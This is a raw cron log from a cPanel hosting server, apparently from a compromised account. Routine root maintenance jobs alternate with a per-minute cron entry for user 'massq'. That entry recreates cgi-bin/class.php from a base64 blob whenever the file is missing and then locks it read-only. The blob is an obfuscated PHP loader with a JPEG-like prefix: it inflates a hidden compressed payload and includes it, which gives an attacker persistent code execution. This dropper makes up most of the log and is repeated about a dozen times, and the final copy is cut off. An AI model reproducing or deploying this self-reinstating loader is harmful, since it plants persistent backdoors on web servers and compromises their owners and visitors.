Sep 12 05:54:01 server CROND[13321]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:55:01 server CROND[13707]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 05:55:01 server CROND[13710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:55:01 server CROND[13714]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 05:55:01 server CROND[13717]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 05:55:01 server CROND[13716]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 05:55:01 server CROND[13718]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:55:01 server CROND[13721]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:56:01 server CROND[14570]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:56:01 server CROND[14571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:56:01 server CROND[14572]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:57:01 server CROND[15037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:57:01 server CROND[15038]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:57:01 server CROND[15039]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 05:57:01 server CROND[15040]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:58:01 server CROND[15412]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:58:01 server CROND[15413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:58:01 server CROND[15414]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:59:01 server CROND[15788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:59:01 server CROND[15790]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:59:01 server CROND[15791]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:00:01 server CROND[16172]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 06:00:01 server CROND[16173]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 06:00:01 server CROND[16176]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 06:00:01 server CROND[16182]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 12 06:00:01 server CROND[16190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:00:01 server CROND[16192]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:00:01 server CROND[16195]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Sep 12 06:00:01 server CROND[16194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:00:01 server CROND[16196]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 12 06:00:01 server CROND[16201]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 06:00:01 server CROND[16189]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 06:01:01 server CROND[17104]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 06:01:01 server CROND[17105]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:01:01 server CROND[17107]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:01:01 server CROND[17106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:01:01 server run-parts(/etc/cron.hourly)[17104]: starting 0anacron
Sep 12 06:01:01 server run-parts(/etc/cron.hourly)[17124]: finished 0anacron
Sep 12 06:02:01 server CROND[17604]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:02:01 server CROND[17605]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:02:01 server CROND[17606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:03:01 server CROND[17984]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:03:01 server CROND[17985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:03:01 server CROND[17994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:04:01 server CROND[18363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:04:01 server CROND[18364]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:04:01 server CROND[18365]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:05:01 server CROND[18752]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 06:05:01 server CROND[18755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:05:01 server CROND[18762]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 06:05:01 server CROND[18760]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 06:05:01 server CROND[18763]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k="